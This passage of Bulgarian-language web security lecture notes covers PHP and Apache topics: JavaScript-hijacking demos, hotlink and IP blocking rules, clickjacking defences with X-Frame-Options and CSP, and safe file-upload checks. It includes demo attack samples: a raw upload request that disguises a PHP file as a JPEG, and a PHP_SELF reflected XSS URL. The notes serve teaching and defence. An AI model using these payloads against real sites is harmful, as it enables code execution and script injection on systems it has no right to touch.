				document.getElementsByTagName("h1")[0].innerHTML = "HELLO "+user;
			}
		 ';
?>

x.php

<html>
<head>
</head>
<body>
Hello
<script src="http://localhost./dynamic_js/test.js"></script>
<script>
        window.onload = function(){
                document.write(user);
        }
</script>
</body>
</html>


Хак 3

<?php
	session_start();
	session_regenerate_id(true);
	if(!isset($_SESSION['user'])){
		header("Location: index.php");
		exit;
	}
	
	header('Content-Type: application/javascript');
	
	echo '
			window.onload = init();
			function init(){
				var user = "'.$_SESSION['user'].'";
				user = hola(user);
				document.getElementsByTagName("h1")[0].innerHTML = user;
			}
			function hola(user){
				user = "HOLA 2 "+user;
				return user;
			}
		 ';
?>

x.php

<html>
<head>
</head>
<body>
Hello
<script src="http://localhost./dynamic_js/test.js"></script>
<script>
        window.hola = function(user){
                document.write(user);
        }
        window.onload=function(){
                init();
        }
</script>
</body>
</html>





Правила за защита:

Вариант 1. Никога не записвайте важна информация в глобални променливи И никога не предавайте важна информация от една функция на друга като вх. параметър

Вариант 2. На скриптове, които не желаете да се вграждат в чужди сайтове, винаги добавяте security tokens по подобие на защитата срещу XSRF

	$jstoken = base64_encode(openssl_random_pseudo_bytes(12));
	$_SESSION['jstoken'] = $jstoken;
?>
Добре дошъл отново!
<script src="./dynamic_js/test.js?jstoken=<?=$jstoken?>"></script>



Проверка:

	if(!isset($_SESSION['jstoken']) || !isset($_GET['jstoken']) || $_SESSION['jstoken']!=$_GET['jstoken']){
		echo 'WHOOPS!';
		exit;
	}
	

Вариант 3. Тотално забранявате вграждане на каквито и да е JavaScript файлове на чужди сайтове (HOTLINKING prevention)

Mod Rewrite

RewriteEngine on
RewriteCond %{HTTP_REFERER} !^$
RewriteCond %{HTTP_REFERER} !^http://localhost\./.*$ [NC]
RewriteRule \.(gif|jpg|jpeg|png|bmp)$ [F]

[NC] - not case sensitive
[F] - 403 forbidden


http://storage.e398mod.com/mp/jzzz/Mixed%20Gen%20III.zip




if($_SERVER['HTTPS']!="on"){
	header("Location: https://...");
	exit;
}



https://www.cphpvb.net/java/switch-expressions/


http://e398mod.com/index.php?option=com_content&view=article&id=608:motomix-for-07do-a-oa02&catid=13&Itemid=30



https://offnews.bg/sviat/shesti-den-ulichnite-protesti-v-sasht-40-grada-nalozhiha-politcejski-729774.html




RewriteEngine on
RewriteCond %{HTTP_REFERER} !^$
RewriteCond %{HTTP_REFERER} !^http://localhost\./.*$ [NC]
RewriteRule \.(jpg|jpeg|png|bmp)$ http://localhost\./hotlink\.gif [R=301,L]


Правете защита от hotlink за вашите javascript файлове. Например ако искаме да защитим скриптовете в поддиректория dynamic_js правим .htaccess

RewriteEngine on
RewriteCond %{REQUEST_URI} ^/dynamic_js
RewriteCond %{HTTP_REFERER} !^http://localhost\./.*$ [NC]
RewriteRule ^(.*)$ - [F]


Блокиране на рерурси по IP адрес - в Apache клаузите се изпълняват от дясно наляво. За да може да се прескочи, трябва хакера да има контрол над DNS сървъра, който се използва от сървъра на уебсайта. Това ще е проблем ако не използвате DNSSEC. Затова не е 100% защита - дапълнително се иска автентикация с име и парола.

1. Blacklist

Order Allow,Deny
Allow from all
Deny from 127.0.0.2

2. Whitelist

Order Deny,Allow
Deny from all
Allow from 127.0.0.2



HTTP authentication 
.htaccess и .htpasswd




robots.txt - файл, който дава инструкции на търсачките какво да НЕ индексират. Няма гаранция, че ще бъде спазено

User-agent: *
Disallow: /wp-admin/

Sitemap: https://www.cphpvb.net/sitemap.xml







Denial of Service - колкото по-рано блокирате, толкова по-добре

user -> OS network adapter -> Apache -> PHP -> MySQL -> PHP -> Apache -> OS -> user




<div id="content">..</div>
<div id="login">..</div>

<content>...</content>
<navigation>..<...>



------ 08.06.2020 ------

Clickjacking атаки

Защита 1: Framebursting

		if(top!=window){
			top.location=window.location;
		}


		if(top!=window){
			window.stop();
			document.execCommand('Stop'); //IE
		}

(no value) 	Applies all restrictions
allow-forms 	Allows form submission
allow-modals 	Allows to open modal windows
allow-orientation-lock 	Allows to lock the screen orientation
allow-pointer-lock 	Allows to use the Pointer Lock API
allow-popups 	Allows popups
allow-popups-to-escape-sandbox 	Allows popups to open new windows without inheriting the sandboxing
allow-presentation 	Allows to start a presentation session
allow-same-origin 	Allows the iframe content to be treated as being from the same origin
allow-scripts 	Allows to run scripts
allow-top-navigation 	Allows the iframe content to navigate its top-level browsing context
allow-top-navigation-by-user-activation 	All

Framebursting Е НЕНАПЪЛНО НАДЕЖДНА защита.

Защита 2. X-FRAME-OPTIONS

header("X-FRAME-OPTIONS: DENY"); // Забранява напълно нашия сайт да се вгражда в друг с iframe

Parameters:

DENY - перманентно забранява отвсякъде
SAMEORIGIN - позволява вграждането в нашия собствен домейн, но не и в други - да не се използва, защото в различните браузъри работи различно
ALLOW FROM url - позволява вграждане от изброените urls - ВЪОБЩЕ да не се използва

https://bugzilla.mozilla.org/show_bug.cgi?id=725490

Content Security Policy frame-ancestors 'none'


header("Content-Security-Policy: default-src 'self'; frame-ancestors 'none'; frame-src: 'self' www.youtube.com");

frame-ancestors 'none' - забранява нашият сайт да бъде вграждан в чужди сайтове - еквивалент на X-FRAME-OPTIONS
frame-src - какви iframes можем НИЕ да вграждаме на НАШИЯ сайт

script-src - за вграждане на JS в нашия сайт


Content Security Policy: The page’s settings blocked the loading of a resource at inline (“script-src”).




Header set Content-Security-Policy "default-src 'self';script-src 'self' 'unsafe-inline' cdn.mathjax.org;style-src 'self' 'unsafe-inline';object-src 'self' www.vbox7.com www.youtube.com;frame-src 'self' www.vbox7.com www.youtube.com;frame-ancestors 'none';"

Content Security Policy: Couldn’t process unknown directive ‘frame-src:’





FILE UPLOADS

$_FILES['fileToUpload']['name'] - оригиналното име на файла - например myimage.jpg

$_FILES['fileToUpload']['tmp_name'] - временното име на файла - например E:\xampp\tmp\php22E5.tmp



accept="image/gif,image/png,image/jpeg" - указание с МОЛБА към браузъра да не ъплоудва различно от картинка



НЕРАБОТЕЩО РЕШЕНИЕ:

	$type = $_FILES['fileToUpload']['type'];
	if($type != "image/jpeg" && $type != "image/png" && $type != "image/gif" ){
		echo 'Only images are allowed!';
		exit;
	}
	
Причина: $_FILES['fileToUpload']['type'] взима CONTENT-TYPE от HTTP хедърите на заявката!


POST /gallery_upload.php HTTP/1.1
Host: localhost.
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------306904569429018436311797484228
Content-Length: 384
Origin: http://localhost.
Connection: close
Referer: http://localhost./gallery.php
Cookie: PHPSESSID=ing15mrpf8ptol9d4qmctsd9o2
Upgrade-Insecure-Requests: 1

-----------------------------306904569429018436311797484228
Content-Disposition: form-data; name="fileToUpload"; filename="test.php"
Content-Type: image/jpeg

<?php
	phpinfo();
?>
-----------------------------306904569429018436311797484228
Content-Disposition: form-data; name="submit"

РљР°С‡Рё
-----------------------------306904569429018436311797484228--



тоест $_FILES['fileToUpload']['type'] се подава от потребителя и НЕ може да му вярваме!


Правилна проверка за разширение:

	$path = $_FILES['fileToUpload']['name'];
	$ext = strtolower(pathinfo($path, PATHINFO_EXTENSION));
	$allowedExtensions = array("jpg", "png", "gif");


Проверка за съдържание:

	if(getimagesize($_FILES['fileToUpload']['tmp_name'])==false){
		echo 'You uploaded broken image';
		exit;
	}


EXIF ? 


Премахва EXIF и реално рекомпресира картинката в нова

	if($ext == "jpg"){
		$cleanimage = imagecreatefromjpeg($_FILES['fileToUpload']['tmp_name']);
		imagejpeg($cleanimage, $_FILES['fileToUpload']['tmp_name'], 90);
	}

Проблемът е наличен при ВСИЧКИ ВИДОВЕ ФАЙЛОВЕ



0.01959800 1591606097mario.0.jpg

38a9152eb10354495f0d62ab17ee44a755470ff88abadf25b7454fed6df200a8.jpg





PHP SELF hack

http://localhost./phpself.php?inpt=aaaa&submit=Send


http://localhost./phpself.php/"><script>alert(1)</script>



HTTP_*

$_SERVER['PHP_SELF'] - също е подаден от потребителя и трябва да се почиства!



https://www.cphpvb.net/network-security/5515-%d0%bd%d0%b0%d1%81%d1%82%d1%80%d0%be%d0%b9%d0%ba%d0%b8-%d0%bd%d0%b0-php-ini/

https://www.cphpvb.net/network-security/1425-sysctlconf-hardening-freebsd/












